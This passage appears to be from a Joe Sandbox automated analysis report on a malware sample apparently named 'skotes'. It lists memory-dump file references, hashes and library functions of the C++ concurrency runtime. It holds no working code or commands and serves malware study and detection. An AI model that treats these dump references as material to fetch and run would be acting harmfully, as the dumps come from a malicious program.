Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: a77b6377a004442bb97e4686a31753ae4c88c716f7486e3f417c928f46bde34f
Instruction ID: 83a64e599fa0d8931b70539907d9cd9f7696f5bed9cce85b03c7f518d02b326e
Opcode Fuzzy Hash: a77b6377a004442bb97e4686a31753ae4c88c716f7486e3f417c928f46bde34f
Instruction Fuzzy Hash: D8314A75A0071AEFCF10DF94D490BAEBBBABF44300F1408AAD901AB346D770A945DFA0

Function 006313F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006313FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00631447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0063147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0063152A

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: e4ca038835f896d7414ea95cd62b46c6e8f0c40c3f6e2169a8a9a0d35c0f6fb6
Instruction ID: ae6094fb69227ab9267fe5fe34a99cedbba957c26f487052f50856ed4d956b6e
Opcode Fuzzy Hash: e4ca038835f896d7414ea95cd62b46c6e8f0c40c3f6e2169a8a9a0d35c0f6fb6
Instruction Fuzzy Hash: CB316171A00A169BCB54DFA8D4915EDF7F6BF88710F14822DE416AB391CB349A41CBD4

Function 0061BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0061BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0061BBE4
_xtime_get.LIBCPMT ref: 0061BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0061BC13

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 775b4530a0c83636a50d46ea2860724d4f4ba69d1b535edaad1377a3ba89ea73
Instruction ID: ccbbca7c78ab97efd50f4524d85e100dac163a3ca18e9bb6e7c3463646cb7574
Opcode Fuzzy Hash: 775b4530a0c83636a50d46ea2860724d4f4ba69d1b535edaad1377a3ba89ea73
Instruction Fuzzy Hash: 4A213271A00219AFDF00EFA4DC859FEB7BAEF08724F145059F501B7251DB349D819BA5

Function 00629C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00629C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00629CE8
std::bad_exception::bad_exception.LIBCMT ref: 00629CFE
std::bad_exception::bad_exception.LIBCMT ref: 00629D6A

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 5e5f6c1e88616874b3ecfb1d07144d5f9c00e59e834c94cbb3cf713321518126
Instruction ID: a0f5b4e4624c1018ab6a49276f670934f47963aafc13c2ef625f8d24c1e47afa
Opcode Fuzzy Hash: 5e5f6c1e88616874b3ecfb1d07144d5f9c00e59e834c94cbb3cf713321518126
Instruction Fuzzy Hash: F921B231900D249FCB44EF64E482DEDB7B6AF45310F254469F401AF2A1DB316D41DF64

Function 0062A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0062A069
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0062A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0062A0CB

Part of subcall function 0062AB41: List.LIBCONCRT ref: 0062AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0062A0DB

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
